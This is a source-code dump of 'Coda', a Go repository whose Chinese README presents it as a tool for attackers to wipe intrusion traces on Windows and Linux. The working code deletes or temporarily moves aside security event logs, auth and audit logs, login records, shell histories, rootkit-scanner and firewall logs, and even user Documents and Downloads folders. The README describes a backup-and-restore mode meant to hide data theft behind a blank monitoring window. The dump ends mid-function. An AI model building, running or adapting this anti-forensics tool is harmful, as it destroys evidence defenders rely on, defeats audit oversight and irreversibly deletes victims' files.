[
  {
    "path": ".gitignore",
    "content": "\n.idea\nmain.exe\nmain"
  },
  {
    "path": "README.md",
    "content": "# Coda\n## 0x01 简介\n\nCoda是一款支持Windows/Linux系统的入侵痕迹抹除工具，可以帮助攻击者迅速消除入侵痕迹，使用Golang语言编写。\n\n**最近Star比较多，考虑对工具进行优化和更新，感谢各位支持，也欢迎试用本组织其他安全工具。**\n\n## 0x02 编译方法\n\n```bash\ngit clone https://github.com/Symph0nia/Coda.git\n```\n\n```\ncd Coda\n```\n\n```\ngo build ./main.go\n```\n\n## 0x03 使用方法\n\nCoda接收三个参数，分别为：\n\n```\n./coda -D # 删除所有的日志信息\n./coda -B # 删除大型的的日志信息，将小型的日志信息备份到/TEMP或/tmp文件夹下\n./coda -R # 恢复备份的日志信息到原位置\n```\n\n## 0x04 原理\n\nCoda的基本用法即直接删除所有的日志，从而实现对溯源的打击。\n\nCoda的进阶用法为Backup 2 Restore\n\n在渗透成功后，运行Coda -B，对当前的日志信息进行镜像保存，接下来可以进行敏感操作，例如数据获取，数据删除一类。\n\n在渗透结束阶段，运行Coda -R，对已经保存的日志信息进行恢复，不对日志系统进行完全清除，从而实现一个优雅的空白监控时间。\n\n## 0x05 注意事项\n\n> [!WARNING]\n>\n> Coda对系统文件所造成的伤害是不可逆的，慎用。\n\n目前的日志分类规则：大于100MB\n\n目前的清除日志列表：\n\nWindows：\n\n| 日志文件路径                                                 | 作用                                                         |\n| ------------------------------------------------------------ | ------------------------------------------------------------ |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx`         | 记录安全相关事件，例如登录尝试、权限使用等。                 |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Application.evtx`      | 记录应用程序相关事件，由应用程序生成的日志信息。             |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\System.evtx`           | 记录系统级别事件，包括驱动程序加载、系统组件的启动和停止等。 |\n| `C:\\\\Program Files\\\\Apache Group\\\\Apache2\\\\logs\\\\access.log` | 记录Apache服务器的访问日志，包括每个请求的详细信息。         |\n| `C:\\\\Program Files\\\\Apache Group\\\\Apache2\\\\logs\\\\error.log`  | 记录Apache服务器的错误日志，包括启动、运行时错误和异常。     |\n| `C:\\\\Program Files (x86)\\\\IIS Express\\\\Logs\\\\IISExpress.log` | 记录IIS Express的日志，包括访问和错误信息。                  |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-User Profile Service%4Operational.evtx` | 记录用户配置文件服务的操作日志。                             |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-DNS-Client%4Operational.evtx` | 记录DNS客户端操作日志。                                      |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-DNS-Server%4Analytical.evtx` | 记录DNS服务器分析日志，用于诊断DNS问题。                     |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx` | 记录高级安全Windows防火墙的操作日志。                        |\n| `C:\\\\Windows\\\\System32\\\\LogFiles\\\\Firewall\\\\pfirewall.log`   | 记录Windows防火墙日志，包括被允许或被阻止的网络连接。        |\n| `C:\\\\Windows\\\\System32\\\\LogFiles\\\\W3SVC1\\\\`                  | 记录IIS Web服务的日志，包括访问和错误日志。                  |\n| `C:\\\\Windows\\\\System32\\\\LogFiles\\\\HTTPERR\\\\httperr1.log`     | 记录IIS HTTP错误日志，包括无法处理的HTTP请求。               |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-Security-Auditing.evtx` | 记录安全审计日志，包括成功和失败的安全事件。                 |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-TaskScheduler%4Operational.evtx` | 记录任务计划程序的操作日志。                                 |\n| `C:\\\\Windows\\\\Temp`                                          | 存储临时文件，通常用于短期存储。                             |\n| `filepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Local\\\\Temp\")` | 当前用户的本地临时文件夹，存储临时文件。                     |\n| `filepath.Join(\"C:\\\\Users\", username, \"AppData\\\\LocalLow\\\\Temp\")` | 当前用户的本地低权限临时文件夹，存储低权限临时文件。         |\n| `filepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\")` | 记录当前用户最近访问的文件和文件夹。                         |\n| `filepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Local\\\\Microsoft\\\\Windows\\\\INetCache\")` | 存储浏览器缓存文件。                                         |\n| `filepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Local\\\\Microsoft\\\\Windows\\\\History\")` | 存储浏览器历史记录。                                         |\n| `filepath.Join(\"C:\\\\Users\", username, \"Documents\")`          | 当前用户的文档文件夹，存储用户的文档文件。                   |\n| `filepath.Join(\"C:\\\\Users\", username, \"Downloads\")`          | 当前用户的下载文件夹，存储用户下载的文件。                   |\n| `C:\\\\inetpub\\\\logs\\\\LogFiles\\\\W3SVC1\\\\`                      | 记录IIS Web服务的访问日志。                                  |\n| `C:\\\\inetpub\\\\logs\\\\FailedReqLogFiles\\\\`                     | 记录IIS失败的请求日志，用于诊断失败的HTTP请求。              |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-SMBClient\\\\Operational.evtx` | 记录SMB客户端操作日志。                                      |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS\\\\Operational.evtx` | 记录远程桌面服务操作日志。                                   |\n| `C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-TerminalServices-LocalSessionManager\\\\Operational.evtx` | 记录终端服务本地会话管理器操作日志。                         |\n\nLinux：\n\n| 日志文件路径                         | 作用                                                         |\n| ------------------------------------ | ------------------------------------------------------------ |\n| `/var/log/syslog`                    | 记录系统日志，包括内核消息、服务启动和停止、各种系统事件。   |\n| `/var/log/messages`                  | 记录一般系统消息和非关键系统错误。                           |\n| `/var/log/auth.log`                  | 记录认证相关的日志，包括登录尝试、sudo使用等。               |\n| `/var/log/lastlog`                   | 记录上次登录的信息。                                         |\n| `/var/log/wtmp`                      | 记录登录和注销事件的永久日志。                               |\n| `/var/log/btmp`                      | 记录失败的登录尝试。                                         |\n| `/var/log/faillog`                   | 记录失败的用户登录信息。                                     |\n| `/var/log/apache2/access.log`        | 记录Apache服务器的访问日志，包括每个请求的详细信息。         |\n| `/var/log/apache2/error.log`         | 记录Apache服务器的错误日志，包括启动、运行时错误和异常。     |\n| `/var/log/nginx/access.log`          | 记录Nginx服务器的访问日志，包括每个请求的详细信息。          |\n| `/var/log/nginx/error.log`           | 记录Nginx服务器的错误日志，包括启动、运行时错误和异常。      |\n| `/var/log/mysql/error.log`           | 记录MySQL数据库的错误日志，包括启动、运行时错误和异常。      |\n| `/var/log/mysql/mysql.log`           | 记录MySQL数据库的一般操作日志。                              |\n| `/var/log/daemon.log`                | 记录守护进程的日志，包括系统服务的启动和停止。               |\n| `/var/log/kern.log`                  | 记录内核日志，包括内核启动信息和运行时的错误。               |\n| `/var/log/mail.log`                  | 记录邮件系统的日志，包括邮件传输信息。                       |\n| `/var/log/mail.err`                  | 记录邮件系统的错误日志。                                     |\n| `/var/log/secure`                    | 记录安全相关的日志，包括登录、认证和授权信息。               |\n| `/var/log/audit/audit.log`           | 记录系统审计日志，包括SELinux和其他安全模块的事件。          |\n| `/var/log/sudo.log`                  | 记录sudo命令的使用情况。                                     |\n| `/tmp/`                              | 临时文件目录，存储系统和用户的临时文件。                     |\n| `/var/tmp/`                          | 临时文件目录，存储系统和用户的临时文件，通常比/tmp的生命周期更长。 |\n| `/home/*/.bash_history`              | 记录每个用户的bash历史命令。                                 |\n| `/home/*/.zsh_history`               | 记录每个用户的zsh历史命令。                                  |\n| `/root/.bash_history`                | 记录root用户的bash历史命令。                                 |\n| `/root/.zsh_history`                 | 记录root用户的zsh历史命令。                                  |\n| `/var/log/sshd.log`                  | 记录SSH守护进程的日志。                                      |\n| `/var/run/utmp`                      | 记录当前登录用户的信息。                                     |\n| `/var/log/dmesg`                     | 记录内核环形缓冲区的消息，通常包括系统启动信息。             |\n| `/var/log/yum.log`                   | 记录Yum包管理器的操作日志。                                  |\n| `/var/log/apt/history.log`           | 记录APT包管理器的历史日志。                                  |\n| `/var/log/apt/term.log`              | 记录APT包管理器的终端日志，包括包安装和卸载的信息。          |\n| `/var/log/journal/`                  | systemd的日志目录，记录所有使用systemd管理的服务和系统事件。 |\n| `/var/log/rkhunter/rkhunter.log`     | 记录Rootkit Hunter的扫描日志。                               |\n| `/var/log/chkrootkit/chkrootkit.log` | 记录Chkrootkit工具的扫描日志。                               |\n| `/var/log/docker.log`                | 记录Docker的日志，包括容器的启动和停止信息。                 |\n| `/var/log/kubernetes/`               | 记录Kubernetes的日志，包括集群中各组件的事件。               |\n| `/var/log/containers/`               | 记录容器的日志，通常包括Docker和Kubernetes管理的容器。       |\n| `/var/log/postgresql/`               | 记录PostgreSQL数据库的日志。                                 |\n| `/var/log/mongodb/mongod.log`        | 记录MongoDB数据库的日志，包括启动和运行时信息。              |\n| `/var/log/redis/redis.log`           | 记录Redis数据库的日志。                                      |\n| `/var/log/tomcat/`                   | 记录Tomcat应用服务器的日志，包括访问和错误日志。             |\n| `/var/log/glassfish/`                | 记录GlassFish应用服务器的日志，包括访问和错误日志。          |\n| `/var/log/maillog`                   | 记录邮件传输代理（MTA）的日志，包括邮件传输信息。            |\n| `/var/log/mail.err`                  | 记录邮件传输代理（MTA）的错误日志。                          |\n| `/var/log/firewalld`                 | 记录Firewalld的日志，包括防火墙规则的应用和事件。            |\n| `/var/log/iptables.log`              | 记录Iptables的日志，包括防火墙规则的应用和事件。             |\n| `/var/log/samba/*`                   | 记录Samba服务的日志，包括文件共享和打印服务的事件。          |\n| `/var/log/rsyncd.log`                | 记录Rsync守护进程的日志，包括文件同步和传输的事件。          |\n| `/var/log/wtmp.1`                    | 记录历史登录和注销事件的归档日志。                           |\n| `/var/log/btmp.1`                    | 记录历史失败的登录尝试的归档日志。                           |\n"
  },
  {
    "path": "go.mod",
    "content": "module Coda\n\ngo 1.21rc3\n"
  },
  {
    "path": "main.go",
    "content": "package main\n\nimport (\n\t\"Coda/module\"\n\t\"flag\"\n\t\"fmt\"\n)\n\n// 文件夹大小限制，单位为字节（10MB）\nconst folderSizeLimit = 100 * 1024 * 1024\n\nfunc main() {\n\tdeleteFlag := flag.Bool(\"D\", false, \"删除全部文件\")\n\tbackupDeleteFlag := flag.Bool(\"B\", false, \"执行备份并删除操作\")\n\trestoreFlag := flag.Bool(\"R\", false, \"恢复备份\")\n\tflag.Parse()\n\n\t// 获取操作系统类型\n\tosType := module.GetOSType()\n\n\t// 检查是否具有足够的权限\n\tif !module.CheckPermissions() {\n\t\tfmt.Println(\"权限不足，无法执行清理操作。\")\n\t\treturn\n\t}\n\n\t// 根据操作系统类型调用相应的清理函数\n\tif osType != \"linux\" && osType != \"windows\" {\n\t\tfmt.Println(\"不支持的操作系统类型。\")\n\t\treturn\n\t}\n\n\tif osType == \"linux\" {\n\t\tfmt.Println(\"检测到Linux系统，开始清理入侵痕迹...\")\n\t\tif *deleteFlag {\n\t\t\tfmt.Println(\"正在执行全部删除操作...\")\n\t\t\tmodule.DeleteLinuxIntrusionTraces() // 假设这个函数内部会调用 deleteAllFolders\n\t\t} else if *backupDeleteFlag {\n\t\t\tfmt.Println(\"正在执行备份并删除操作...\")\n\t\t\tmodule.DeleteLinuxLargeKeepSmall() // 你需要确保这个函数可从module包访问\n\t\t} else if *restoreFlag {\n\t\t\tfmt.Println(\"正在执行恢复操作...\")\n\t\t\tmodule.RestoreLinuxSmallFolders() // 你需要确保这个函数可从module包访问\n\t\t} else {\n\t\t\tfmt.Println(\"未指定有效的操作模式。使用 -D, -B, 或 -R.\")\n\t\t}\n\t} else if osType == \"windows\" {\n\t\tfmt.Println(\"检测到Windows系统，开始清理入侵痕迹...\")\n\t\tif *deleteFlag {\n\t\t\tfmt.Println(\"正在执行全部删除操作...\")\n\t\t\tmodule.DeleteWindowsIntrusionTraces() // 假设这个函数内部会调用 deleteAllFolders\n\t\t} else if *backupDeleteFlag {\n\t\t\tfmt.Println(\"正在执行备份并删除操作...\")\n\t\t\tmodule.DeleteWindowsLargeKeepSmall() // 你需要确保这个函数可从module包访问\n\t\t} else if *restoreFlag {\n\t\t\tfmt.Println(\"正在执行恢复操作...\")\n\t\t\tmodule.RestoreWindowsSmallFolders() // 你需要确保这个函数可从module包访问\n\t\t} else {\n\t\t\tfmt.Println(\"未指定有效的操作模式。使用 -D, -B, 或 -R.\")\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "module/linux.go",
    "content": "package module\n\nimport (\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\n// DeleteLinuxIntrusionTraces 删除Linux系统的入侵痕迹\nfunc DeleteLinuxIntrusionTraces() {\n\tfolders := GetLinuxPaths()\n\n\t// 第一阶段：检查文件夹是否存在\n\texistingFolders := checkPathsExist(folders)\n\tif len(existingFolders) == 0 {\n\t\tfmt.Println(\"没有找到任何需要处理的文件夹。\")\n\t\treturn\n\t}\n\n\t// 第二阶段：检查文件夹内是否有文件\n\tnonEmptyFolders := checkPathContents(existingFolders)\n\tif len(nonEmptyFolders) == 0 {\n\t\tfmt.Println(\"所有检测到的文件夹都是空的。\")\n\t\treturn\n\t}\n\n\t// 第三阶段：检查文件夹权限\n\tdeletableFolders := checkFoldersPermissions(nonEmptyFolders)\n\n\t// 第四阶段：检查文件夹大小，并分类\n\tsmallFolders, largeFolders := classifyPathsBySize(deletableFolders)\n\n\t// 第五阶段：执行相应的删除或备份操作\n\tdeleteAllFolders(smallFolders, largeFolders)\n}\n\n// DeleteLinuxLargeKeepSmall 删除大文件夹，保留小文件夹\nfunc DeleteLinuxLargeKeepSmall() {\n\tfolders := GetLinuxPaths()\n\n\t// 第一阶段：检查文件夹是否存在\n\texistingFolders := checkPathsExist(folders)\n\tif len(existingFolders) == 0 {\n\t\tfmt.Println(\"没有找到任何需要处理的文件夹。\")\n\t\treturn\n\t}\n\n\t// 第二阶段：检查文件夹内是否有文件\n\tnonEmptyFolders := checkPathContents(existingFolders)\n\tif len(nonEmptyFolders) == 0 {\n\t\tfmt.Println(\"所有检测到的文件夹都是空的。\")\n\t\treturn\n\t}\n\n\t// 第三阶段：检查文件夹权限\n\tdeletableFolders := checkFoldersPermissions(nonEmptyFolders)\n\n\t// 第四阶段：检查文件夹大小，并分类\n\tsmallFolders, largeFolders := classifyPathsBySize(deletableFolders)\n\tdeleteLargeKeepSmall(smallFolders, largeFolders)\n}\n\n// RestoreLinuxSmallFolders 恢复小文件夹\nfunc RestoreLinuxSmallFolders() {\n\trestoreSmallFolders()\n}\n\n// GetLinuxPaths 获取系统中重要的文件和文件夹路径，支持通配符\nfunc GetLinuxPaths() []string {\n\tbasePaths := []string{\n\t\t// 系统日志文件\n\t\t\"/var/log/syslog\",\n\t\t\"/var/log/messages\",\n\t\t\"/var/log/auth.log\",\n\t\t\"/var/log/lastlog\",\n\t\t\"/var/log/wtmp\",\n\t\t\"/var/log/btmp\",\n\t\t\"/var/log/faillog\",\n\n\t\t// Apache日志文件\n\t\t\"/var/log/apache2/access.log\",\n\t\t\"/var/log/apache2/error.log\",\n\n\t\t// Nginx日志文件\n\t\t\"/var/log/nginx/access.log\",\n\t\t\"/var/log/nginx/error.log\",\n\n\t\t// MySQL日志文件\n\t\t\"/var/log/mysql/error.log\",\n\t\t\"/var/log/mysql/mysql.log\",\n\n\t\t// 系统服务日志文件\n\t\t\"/var/log/daemon.log\",\n\t\t\"/var/log/kern.log\",\n\t\t\"/var/log/mail.log\",\n\t\t\"/var/log/mail.err\",\n\t\t\"/var/log/secure\",\n\t\t\"/var/log/audit/audit.log\",\n\t\t\"/var/log/sudo.log\",\n\n\t\t// 临时文件和目录\n\t\t\"/tmp/\",\n\t\t\"/var/tmp/\",\n\n\t\t// 用户历史记录\n\t\t\"/home/*/.bash_history\",\n\t\t\"/home/*/.zsh_history\",\n\t\t\"/root/.bash_history\",\n\t\t\"/root/.zsh_history\",\n\n\t\t// SSH相关日志\n\t\t\"/var/log/secure\",\n\t\t\"/var/log/auth.log\",\n\t\t\"/var/log/sshd.log\",\n\t\t\"/var/log/sshd/*\",\n\n\t\t// Utmp和Wtmp日志\n\t\t\"/var/run/utmp\",\n\t\t\"/var/log/wtmp\",\n\t\t\"/var/log/btmp\",\n\n\t\t// Dmesg日志\n\t\t\"/var/log/dmesg\",\n\n\t\t// Package Manager日志\n\t\t\"/var/log/yum.log\",\n\t\t\"/var/log/apt/history.log\",\n\t\t\"/var/log/apt/term.log\",\n\n\t\t// Systemd日志\n\t\t\"/var/log/journal/\",\n\n\t\t// 安全工具日志\n\t\t\"/var/log/rkhunter/rkhunter.log\",\n\t\t\"/var/log/chkrootkit/chkrootkit.log\",\n\n\t\t// 应用程序日志\n\t\t\"/var/log/docker.log\",\n\t\t\"/var/log/kubernetes/\",\n\t\t\"/var/log/containers/\",\n\n\t\t// 各种服务的日志\n\t\t\"/var/log/postgresql/\",\n\t\t\"/var/log/mongodb/mongod.log\",\n\t\t\"/var/log/redis/redis.log\",\n\n\t\t// Web应用日志\n\t\t\"/var/log/tomcat/\",\n\t\t\"/var/log/glassfish/\",\n\n\t\t// 邮件日志\n\t\t\"/var/log/maillog\",\n\t\t\"/var/log/mail.err\",\n\n\t\t// 防火墙日志\n\t\t\"/var/log/firewalld\",\n\t\t\"/var/log/iptables.log\",\n\n\t\t// 网络日志\n\t\t\"/var/log/samba/*\",\n\t\t\"/var/log/rsyncd.log\",\n\n\t\t// 其他可能的入侵痕迹\n\t\t\"/var/log/wtmp.1\",\n\t\t\"/var/log/btmp.1\",\n\t}\n\n\tvar expandedPaths []string\n\tfor _, path := range basePaths {\n\t\tif strings.Contains(path, \"*\") { // 检查路径是否包含通配符\n\t\t\tmatches, err := filepath.Glob(path)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"解析路径失败: %s, 错误: %v\\n\", path, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\texpandedPaths = append(expandedPaths, matches...) // 添加匹配的路径\n\t\t} else {\n\t\t\texpandedPaths = append(expandedPaths, path) // 添加原始路径\n\t\t}\n\t}\n\n\treturn expandedPaths\n}\n"
  },
  {
    "path": "module/utils.go",
    "content": "package module\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n)\n\n// 文件夹大小限制，单位为字节（10MB）\nconst folderSizeLimit = 100 * 1024 * 1024\n\n// GetOSType 确定操作系统类型\nfunc GetOSType() string {\n\tosType := runtime.GOOS\n\tfmt.Printf(\"操作系统类型: %s\\n\", osType)\n\treturn osType\n}\n\n// CheckPermissions 确认是否具有足够的权限\nfunc CheckPermissions() bool {\n\tosType := GetOSType()\n\tif osType == \"windows\" {\n\t\treturn checkWindowsPermissions()\n\t} else if osType == \"linux\" {\n\t\treturn checkLinuxPermissions()\n\t} else {\n\t\tfmt.Println(\"不支持的操作系统类型。\")\n\t\treturn false\n\t}\n}\n\n// checkWindowsPermissions 检查Windows系统权限\nfunc checkWindowsPermissions() bool {\n\tif isWindowsAdmin() {\n\t\tfmt.Println(\"权限确认: 当前用户具有管理员权限。\")\n\t\treturn true\n\t} else {\n\t\tfmt.Println(\"权限确认: 当前用户不具有管理员权限。\")\n\t\treturn false\n\t}\n}\n\n// checkLinuxPermissions 检查Linux系统权限\nfunc checkLinuxPermissions() bool {\n\tif os.Geteuid() == 0 {\n\t\tfmt.Println(\"权限确认: 当前用户具有root权限。\")\n\t\treturn true\n\t} else {\n\t\tfmt.Println(\"权限确认: 当前用户不具有root权限。\")\n\t\treturn false\n\t}\n}\n\n// isWindowsAdmin 检查是否具有Windows管理员权限\nfunc isWindowsAdmin() bool {\n\tcmd := exec.Command(\"net\", \"session\")\n\terr := cmd.Run()\n\tif err != nil {\n\t\t// 进一步检查错误信息\n\t\texitError, ok := err.(*exec.ExitError)\n\t\tif ok {\n\t\t\tswitch exitError.ExitCode() {\n\t\t\tcase 5:\n\t\t\t\tfmt.Println(\"权限确认: 访问被拒绝。可能没有管理员权限。\")\n\t\t\tcase 53:\n\t\t\t\tfmt.Println(\"权限确认: 找不到网络路径。\")\n\t\t\tdefault:\n\t\t\t\tfmt.Printf(\"权限确认: 检查管理员权限时发生错误，错误代码: %d\\n\", exitError.ExitCode())\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Println(\"权限确认: 检查管理员权限时发生未知错误。\")\n\t\t}\n\t\treturn false\n\t}\n\treturn true\n}\n\n// deleteLargeKeepSmall 删除大文件夹，备份小文件夹并记录原始路径\nfunc deleteLargeKeepSmall(smallFolders, largeFolders []string) {\n\ttempDir := filepath.Join(os.TempDir(), \"folder_backups\")\n\tif err := os.MkdirAll(tempDir, 0755); err != nil {\n\t\tfmt.Printf(\"创建备份目录失败: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// 创建文件记录备份路径\n\tpathRecordFile := filepath.Join(tempDir, \"backup_paths.txt\")\n\tfile, err := os.Create(pathRecordFile)\n\tif err != nil {\n\t\tfmt.Printf(\"创建备份路径记录文件失败: %v\\n\", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\n\t// 删除大文件夹\n\tfor _, folder := range largeFolders {\n\t\tif err := os.RemoveAll(folder); err != nil {\n\t\t\tfmt.Printf(\"删除大文件夹失败: %s, 错误: %v\\n\", folder, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"成功删除大文件夹: %s\\n\", folder)\n\t\t}\n\t}\n\n\t// 备份小文件夹并删除原文件夹\n\tfor _, folder := range smallFolders {\n\t\tbackupFolder := filepath.Join(tempDir, filepath.Base(folder))\n\t\tif err := os.Rename(folder, backupFolder); err != nil {\n\t\t\tfmt.Printf(\"备份文件夹失败: %s, 错误: %v\\n\", folder, err)\n\t\t} else {\n\t\t\tfmt.Fprintf(file, \"%s,%s\\n\", backupFolder, folder) // 记录备份文件夹和原始路径\n\t\t\tfmt.Printf(\"成功备份并删除小文件夹: %s 到 %s\\n\", folder, backupFolder)\n\t\t}\n\t}\n}\n\n// restoreSmallFolders 从Temp目录恢复备份的小文件夹到原位\nfunc restoreSmallFolders() {\n\ttempDir := filepath.Join(os.TempDir(), \"folder_backups\")\n\tpathRecordFile := filepath.Join(tempDir, \"backup_paths.txt\")\n\n\t// 读取备份路径记录\n\tcontent, err := ioutil.ReadFile(pathRecordFile)\n\tif err != nil {\n\t\tfmt.Printf(\"读取备份路径记录文件失败: %v\\n\", err)\n\t\treturn\n\t}\n\n\tlines := strings.Split(string(content), \"\\n\")\n\tfor _, line := range lines {\n\t\tif line == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tparts := strings.Split(line, \",\")\n\t\tif len(parts) != 2 {\n\t\t\tfmt.Println(\"备份路径记录格式错误\")\n\t\t\tcontinue\n\t\t}\n\t\tbackupFolder := parts[0]\n\t\toriginalPath := parts[1]\n\n\t\t// 恢复文件夹\n\t\tif err := os.Rename(backupFolder, originalPath); err != nil {\n\t\t\tfmt.Printf(\"恢复文件夹失败: %s 到 %s, 错误: %v\\n\", backupFolder, originalPath, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"成功恢复文件夹: %s 到 %s\\n\", backupFolder, originalPath)\n\t\t}\n\t}\n}\n\n// deleteAllFolders 删除所有文件夹\nfunc deleteAllFolders(smallFolders, largeFolders []string) {\n\tallFolders := append(smallFolders, largeFolders...)\n\tfor _, folder := range allFolders {\n\t\tif err := os.RemoveAll(folder); err != nil {\n\t\t\tfmt.Printf(\"删除文件夹失败: %s, 错误: %v\\n\", folder, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"成功删除文件夹: %s\\n\", folder)\n\t\t}\n\t}\n}\n\n// checkPathsExist\nfunc checkPathsExist(paths []string) []string {\n\texistingPaths := []string{}\n\tfor _, path := range paths {\n\t\tif _, err := os.Stat(path); err == nil {\n\t\t\texistingPaths = append(existingPaths, path)\n\t\t} else {\n\t\t\tfmt.Printf(\"路径不存在: %s\\n\", path)\n\t\t}\n\t}\n\treturn existingPaths\n}\n\n// checkFoldersHaveFiles\nfunc checkPathContents(paths []string) []string {\n\tnonEmptyPaths := []string{}\n\tfor _, path := range paths {\n\t\tinfo, err := os.Stat(path)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tif info.IsDir() {\n\t\t\tfiles, err := ioutil.ReadDir(path)\n\t\t\tif err == nil && len(files) > 0 {\n\t\t\t\tnonEmptyPaths = append(nonEmptyPaths, path)\n\t\t\t}\n\t\t} else {\n\t\t\tnonEmptyPaths = append(nonEmptyPaths, path) // 文件总是\"非空\"\n\t\t}\n\t}\n\treturn nonEmptyPaths\n}\n\n// checkFoldersPermissions 检查文件夹的删除权限\nfunc checkFoldersPermissions(folders []string) []string {\n\tdeletableFolders := []string{}\n\tfor _, folder := range folders {\n\t\ttempFile := filepath.Join(folder, \"tempfile.tmp\")\n\t\tif file, err := os.Create(tempFile); err == nil {\n\t\t\tfile.Close()\n\t\t\tos.Remove(tempFile)\n\t\t\tdeletableFolders = append(deletableFolders, folder)\n\t\t} else {\n\t\t\tfmt.Printf(\"无法在文件夹中创建临时文件，无权限: %s\\n\", folder)\n\t\t}\n\t}\n\treturn deletableFolders\n}\n\n// classifyPathsBySize\nfunc classifyPathsBySize(paths []string) ([]string, []string) {\n\tsmallPaths := []string{}\n\tlargePaths := []string{}\n\tfor _, path := range paths {\n\t\tsize := calculatePathSize(path)\n\t\tif size < folderSizeLimit {\n\t\t\tsmallPaths = append(smallPaths, path)\n\t\t} else {\n\t\t\tlargePaths = append(largePaths, path)\n\t\t}\n\t}\n\treturn smallPaths, largePaths\n}\n\n// calculatePathSize 现在处理文件和文件夹\nfunc calculatePathSize(path string) int64 {\n\tvar size int64\n\tfilepath.Walk(path, func(path string, info os.FileInfo, err error) error {\n\t\tif err == nil {\n\t\t\tsize += info.Size()\n\t\t}\n\t\treturn nil\n\t})\n\treturn size\n}\n"
  },
  {
    "path": "module/windows.go",
    "content": "package module\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os/user\"\n\t\"path/filepath\"\n)\n\n// DeleteWindowsIntrusionTraces 删除Windows系统的入侵痕迹\nfunc DeleteWindowsIntrusionTraces() {\n\tfolders := GetWindowsFilePaths()\n\n\t// 第一阶段：检查文件夹是否存在\n\texistingFolders := checkPathsExist(folders)\n\tif len(existingFolders) == 0 {\n\t\tfmt.Println(\"没有找到任何需要处理的文件夹。\")\n\t\treturn\n\t}\n\n\t// 第二阶段：检查文件夹内是否有文件\n\tnonEmptyFolders := checkPathContents(existingFolders)\n\tif len(nonEmptyFolders) == 0 {\n\t\tfmt.Println(\"所有检测到的文件夹都是空的。\")\n\t\treturn\n\t}\n\n\t// 第三阶段：检查文件夹权限\n\tdeletableFolders := checkFoldersPermissions(nonEmptyFolders)\n\n\t// 第四阶段：检查文件夹大小，并分类\n\tsmallFolders, largeFolders := classifyPathsBySize(deletableFolders)\n\n\t// 第五阶段：提供不同的处理方式\n\tdeleteAllFolders(smallFolders, largeFolders)\n}\n\n// DeleteWindowsLargeKeepSmall 删除大文件夹，保留小文件夹\nfunc DeleteWindowsLargeKeepSmall() {\n\tfolders := GetWindowsFilePaths()\n\n\t// 第一阶段：检查文件夹是否存在\n\texistingFolders := checkPathsExist(folders)\n\tif len(existingFolders) == 0 {\n\t\tfmt.Println(\"没有找到任何需要处理的文件夹。\")\n\t\treturn\n\t}\n\n\t// 第二阶段：检查文件夹内是否有文件\n\tnonEmptyFolders := checkPathContents(existingFolders)\n\tif len(nonEmptyFolders) == 0 {\n\t\tfmt.Println(\"所有检测到的文件夹都是空的。\")\n\t\treturn\n\t}\n\n\t// 第三阶段：检查文件夹权限\n\tdeletableFolders := checkFoldersPermissions(nonEmptyFolders)\n\n\t// 第四阶段：检查文件夹大小，并分类\n\tsmallFolders, largeFolders := classifyPathsBySize(deletableFolders)\n\tdeleteLargeKeepSmall(smallFolders, largeFolders)\n}\n\n// RestoreWindowsSmallFolders 恢复小文件夹\nfunc RestoreWindowsSmallFolders() {\n\trestoreSmallFolders()\n}\n\n// GetWindowsFilePaths 动态获取重要文件夹和文件的路径\nfunc GetWindowsFilePaths() []string {\n\tcurrentUser, err := user.Current()\n\tif err != nil {\n\t\tfmt.Printf(\"获取当前用户失败: %v\\n\", err)\n\t\treturn nil\n\t}\n\tusername := currentUser.Username\n\n\tuserProfilePath := filepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Local\\\\Mozilla\\\\Firefox\\\\Profiles\")\n\tprofiles, err := ioutil.ReadDir(userProfilePath)\n\tif err != nil {\n\t\tfmt.Printf(\"读取Firefox配置文件夹失败: %v\\n\", err)\n\t\treturn nil\n\t}\n\n\tvar firefoxProfilePaths []string\n\tfor _, profile := range profiles {\n\t\tif profile.IsDir() {\n\t\t\tprofilePath := filepath.Join(userProfilePath, profile.Name(), \"cache2\")\n\t\t\tplacesPath := filepath.Join(userProfilePath, profile.Name(), \"places.sqlite\")\n\t\t\tfirefoxProfilePaths = append(firefoxProfilePaths, profilePath, placesPath)\n\t\t}\n\t}\n\n\treturn 